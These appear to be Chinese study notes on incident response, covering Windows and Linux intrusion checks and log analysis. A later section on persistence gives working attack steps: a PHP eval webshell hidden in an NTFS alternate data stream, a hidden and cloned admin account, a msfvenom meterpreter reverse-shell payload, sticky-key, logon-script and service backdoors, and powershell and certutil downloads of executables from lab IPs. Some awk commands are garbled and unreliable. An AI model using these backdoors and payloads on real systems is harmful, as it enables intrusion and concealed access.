一、入侵排查
企业发生黑客入侵、系统崩溃或其他影响业务正常运行的安全事件时,要第一时间处理。
首先判断是否为安全事件
常见的应急响应事件分类:
web入侵:网页挂马、主页篡改、webshell
系统入侵:病毒木马、勒索软件、远控后门
网络攻击:DDOS攻击、DNS劫持、ARP欺骗
1.1 windows入侵排查
环境:windows server 2008
1.1.1 检查系统账号安全
1、查看服务器是否有弱口令,远程管理端口是否对公网开放(22-ssh、3389-rdp)
2、查看服务器是否存在可疑账号、新增账号
cmd-->lusrmgr.msc-->禁用或删除可疑账号
3、查看服务器是否存在隐藏账号、克隆账号
打开注册表,查看管理员对应键值
使用D盾查杀工具
net user /add test//为隐藏账户,命令行里看不到,要在本地用户中才能看到
4、结合日志,查看管理员登陆时间、用户名是否存在异常
win+r-->eventvwr.msc(事件查看器)
如果短时间内存在大量数据,可能存在爆破
1.1.2 检查异常网络连接
1、检查网络连接情况,查看是否有远程连接、可以连接
cmd-->netstat -ano 定位可以的established
ESTABLISHEHED:完成连接并正在进行数据通信的状态
LISTENING:表示处于侦听状态,该端口是开放的,等待连接,但还没有被连接
CLOSE_WAIT:对方主动关闭连接或者网络异常导致连接中断
TIME_WAIT:我方主动调用close()断开连接,收到对方确认后状态变为TIME_WAIT
根据netstat命令定位出PID编号,胎通过tasklist命令进行进程定位tasklist | findstr "PID"
2、查看可以进程 例如5555.exe
tasklist /svc
a.开始-->运行-->输入msinfo32命令,依此点击“软件环境-正在运行任务”就可以查看到进程的详细信息
b.打开D盾,进程查看,查看有无可疑进程
c.通过微软官方提供的Process Explorer等工具进行排查
工具下载地址:进程资源管理器 - Sysinternals | Microsoft Learn
d.查看可疑进程及其子进程
1.1.3 检查启动项、计划任务、服务
1、检查服务器是否有异常的启动项
开始-->所有程序-->启动,查看该目录下是否有空目录,确认是否有非业务程序在该目录下
win+r-->msconfig,查看是否存在命名异常的启动项目,取消勾选异常命名的启动项,并到命令中显示的路径删除文件
win+r-->regedit打开注册表,查看开启启动项是否正常
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
利用软件查看启动项、开机时间管理等
组策略,运行gpedit.msc
2、查看服务器是否有异常的计划任务
控制面板-->系统与安全-->查看计划任务
利用软件查看计划任务
3、检查服务器是否有异常服务
win+r-->services.msc 查看服务状态和启动类型,检查是否有异常服务
1.2 Linux入侵排查
1.2.1 账号安全
基本使用
1、用户信息文件 /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
用户名:密码:用户ID:组ID:用户说明:家目录:登录之后的shell
account:
2、影子文件 /etc/shadow
root:yj9TRQcgTACt93TNkwh7BeIsw/dAkPjZjI0O9Mz5FSH5NvgPOKjiTkrxCtRha2NuC5/GB:19808:0:99999:7:::
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的告警天数:密码过期后的宽限时间:账号失效时间:保留字段
who
w
uptime
入侵排查
1.查询特权用户(uid为0)
awk -F: '3 == 0 {print1}' /etc/passwd
2.查询可以远程登录的账号信息
awk '/\1|\$6/{print1}' /etc/shadow
3.除root账号歪,其他账号是否存在sudo权限,如非管理需要,普通账号应删除sudo权限
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL = (ALL)"
4.禁用或删除多余及可疑的账号
usermod -L user 禁用账号,账号无法登录,/etc/shadow第二栏为!开头
userdel user 删除user用户
userdel -r user 将删除的user用户,并将/home目录下的user目录一并删除
1.2.2 历史命令
history 查看历史命令
history -c 清除历史操作命令,但不会清除保存在文件中的记录,需手动清除.bash_profile文件中的记录
cat .bash_history >>history.txt
1.2.3 检查异常网络连接
netstat -antlp
查看pid所对应的进程文件路径:
运行ls -l /proc/PID/exe 或 file /proc/PID/exe ($PID为对应的pid号)
proc是linux内核给的查询中心
1.2.4 检查异常进场
ps aux | grep pid
ps -a 查看所有进程
1.2.5 检查开机启动项
基本使用
Linux有7个系统运行级别
| 运行级别 | 含义 |
| :--: | :------------------------------: |
| 0 | 关机 |
| 1 | 单用户模式,可以想象为windows的安全模式,主要用于系统修复 |
| 2 | 不完全的命令行模式,不含NFS服务 |
| 3 | 完全的命令行模式,就是标准字符界面 |
| 4 | 系统保留 |
| 5 | 图形模式 |
| 6 | 重启动 |
查看运行命令级别runlevel
开机启动配置文件
开机启动配置文件
/etc/rc.d/rc.local
/etc/rc.d/rc[0-6].d
chkconfig命令用于检查、设置系统的各种服务
chkconfig --list [name] 服务列表[可根据实际需要,停掉不需要的服务]
chkconfig --add [name] 服务添加[如缺省,则从缺省的init脚本自动建立]
chkconfig --del [name] 服务删除[并把相关符号连接从/etc/rc[0-6].d删除]
设置开机启动脚本时,只要将可执行脚本放在/etc/init.d目录下,然后再/etc/rc.d/rc[0-6].d目录下建立软连接即可
启动项文件:
/etc/rc.d/rc.local
/etc/rc.d/rc[0-6].d
ll /etc/rc.d/rc3.d
1.2.6 检查定时任务
利用crontab创建计划任务
crontab -l 列出某个用户定时任务的详细内容
crontab -r 删除每个用户cron任务(删除所有的计划任务)
crontab -e 使用编辑器编辑当前的crontab文件
*/1 * * * * echo "hello world" >> /tmp/test.txt
1.2.7 检查服务
服务自启动
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig --level 2345 httpd on 开机自启动
chkconfig httpd on (默认level是2345)
修改/etc/rc.d/rc.local
加入/etc/init.d/httpd start
chkconfig --list 查看服务其启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
chkconfig --list | grep "3:on\|5:on"
chkconfig --list | grep "3:启用\|5:启用"
1.2.8 检查异常文件
1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件,以".."为名的文件夹具有隐藏属性
2、排查webshell、远控木马的创建时间
3、针对可疑文件可疑使用stat查看创建修改时间
1.2.9 检查系统日志
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.config
| 日志文件 | 说明 |
| :------------------: | :----------------------------------------------------------------: |
| /var/log/cron | 记录了系统定时任务相关的日志 |
| /var/log/cups | 记录打印信息的日志 |
| /var/log/dmsesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
| /var/log/mailog | 记录邮件信息 |
| /var/log/message | 记录系统重要信息的日志。这个日志文件中会记录linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件。 |
| /var/log/btmp | 记录错误登录日志,这个文件是二进制文件,不能直接查看,需要使用lastb命令查看 |
| /var/log/lastlog | 记录系统中素有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接查看,需要使用lastb命令查看 |
| /var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机时间。这个文件是二进制文件,不能直接查看,需要使用lastb命令查看 |
| /var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只能记录当前用户的信息,用w who users查看 |
| /var/log/secure | 记录验证和授权方面的信息,只要设计账号密码的程序都会记录,如ssh登录,su切换账户,sudo授权,添加用户修改用户密码等 |
爆破linux
日志分析
1、定位有多少IP在爆破主机的root账号
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
2、定位有那些IP在爆破
grep "Failed password" /var/log/secure | grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" | uniq -c
3、爆破用户名字典是什么
grep "Failed password" /var/log/secure | perl -e 'while(_=<>){ /for(.*?) from/; print "1\n";}' | uniq -c | sort -nr
4、登录成功的IP有那些
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
5、登录成功的日期、用户名、IP
grep "Accepted" /var/log/secure | awk '{print 1,2,3,9,$11}'
1.2.10 工具查杀
1、Rootkit查杀
·chkrootkit
·rkhunter
2、病毒查杀
·Clamav
3、Webshell查杀
河马
4、RPM check
1.3 常见的Webshell查杀工具
1.3.1 D盾_web查杀
只有windows版本
下载地址:D盾防火墙 (d99net.net)
1.3.2 河马
1.3.3 Web Shell Dectector
1.3.4 CloudWalker
WebShell 绕过挑战 - CT Stack 安全社区 (chaitin.com)
1.3.5 PHP Malware Finder
1.3.6 FindWebshell
1.4 如何发现隐藏的WebShell后门
1.4.1 MD5校验
核心思想:不知道一个文件有没有被篡改,对该文件的md5计算,与源文件对比,若不同则被篡改
1.4.2 diff命令
diff命令用来比较两个文本文件的差异,通过diff -c -a -r 1.txt 2.txt
只看不同,不显示不同之处只要添加-q选项
1.4.3 文件对比工具
Beyond Compare
WinMerge
1.5 勒索病毒自救指南
1.5.1 勒索病毒加密原理
1.5.2 勒索病毒搜索引擎
二、日志分析
2.1 Windows 日志分析
环境 :windows server 2008 R2
三、权限维持
3.1 Windows权限维持-隐藏篇
环境:Windows Server 2008
3.1.1 隐藏文件
1、利用文件属性,属性-隐藏-确定,如果让文件显示出来,显示隐藏的文件
真正隐藏文件:Attrib +s +a +h +r 使用attrib把文件增加系统文件属性、存档文件属性、只读文件属性、隐藏文件属性
attrib +s +a +h +r \路径
破解隐藏文件:
文件夹选项卡-取消"隐藏受保护的操作系统文件"勾选,“隐藏文件和文件夹”下的显示隐藏的文件、文件夹和驱动器
2、利用ADS隐藏文件内容
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
3.1.2 隐藏账号
建立一个test$账号,密码为123qwe
net user test$ 111qqq! /add #创建隐藏账号
使用net user 无法查看test$账号
查看隐藏账号
克隆账号
win+R输入regedit打开注册表,修改“HKEY_LOCAL_MACHINE\SAM\SAM”给administrator赋予完全权限
再次打开注册表,复制administrator的f值复制到test$账号
利用test$ 111qqq!远程登录,即是administrator权限,
3.1.3 进程注入
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.157 LPORT=7764 -f exe > 7764.exe
生成后门文件
通过后门投递,获得目标机器的meterpreter
kali中msfconsole开始攻击,靶机运行7764.exe,kali获取命令执行环境
3.2 windows权限维持-后门篇
3.2.1 粘滞键后门
粘滞键替换cmd
注销账户时,使用粘滞键打开cmd窗口
3.2.2 logon scripts后门
kali创建msfvenom文件
REG ADD "HEKY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\7764.exe"
靶机运行7765.exe,kali获取到meterpreter
3.2.3 服务自启动后门
sc config test binpath= C:\Users\Administrator\Desktop\7764.exe 创建服务
sc config test start= auto 设置服务自启动
net start test 启动服务
靶机设置完启动服务重启登录,kali获取meterpreter
3.3 linux权限维持-隐藏篇
3.3.1 隐藏文件
touch .a.txt #文件名签名加.表示隐藏文件
使用ls -a或ls -al查看隐藏文件
3.3.2 隐藏文件时间戳
使用touch命令修改时间
touch -t 201908081042.30 a.txt
3.3.3 隐藏权限
chattr +i a.txt 为文件添加锁定属性
lsattr a.txt 属性查看
chattr -i a.txt 解除锁定
rm -rf a.txt 删除文件
3.3.4 隐藏历史操作命令
set +o history 禁用历史
set -o history 开启历史
history | grep "xxx" 查找包含某字段的命令
history -d [num] 删除第xx条历史
sed -i '150,$d' .bash_history 只保留前150行记录
3.4 linux权限维持-后门篇
3.4.1 免密登录
linux ssh免密登录
过程中按三次回车/root/.ssh查看生成文件vim /etc/ssh/sshd_config
xshell进行ssh登录
3.5 Windows命令行下载方法
3.5.1 powershell下载
powershell (new-object System.Net.WebClient).DownloadFile('http://10.0.0.159/dvwa/5555.exe','5555.exe')
3.5.2 certutil下载
certutil -urlcache -split -f http://10.0.0.159/dvwa/5556.exe 5556.exe